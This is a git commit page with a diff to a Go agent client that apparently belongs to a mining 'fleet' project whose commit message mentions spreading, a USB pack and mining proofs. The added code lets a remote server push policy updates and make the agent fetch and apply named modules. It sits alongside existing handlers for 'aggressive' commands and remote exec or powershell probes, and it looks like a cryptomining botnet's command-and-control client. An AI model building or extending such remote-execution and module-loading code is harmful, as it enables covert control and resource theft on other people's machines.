feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -434,6 +434,8 @@ func (c *AgentClient) handleMessage(msg Message) {
c.sharesAccepted++
c.mu.Unlock()
}
case "policy_update":
go c.applyPolicyUpdate(msg.Payload)
case "command":
var cmd struct {
Action string `json:"action"`
@@ -441,21 +443,28 @@ func (c *AgentClient) handleMessage(msg Message) {
Command string `json:"command"`
Path string `json:"path"`
Data string `json:"data"`
Module string `json:"module"`
}
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
return
}
// Run off the read loop so long exec/powershell probes do not block
// subsequent commands or server pings.
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
}
}
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
return
}
switch action {
case "fetch_module":
if err := c.fetchAndApplyModule(module); err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, "module "+module+" applied")
case "pause":
c.pool.PauseRemote()
c.mu.Lock()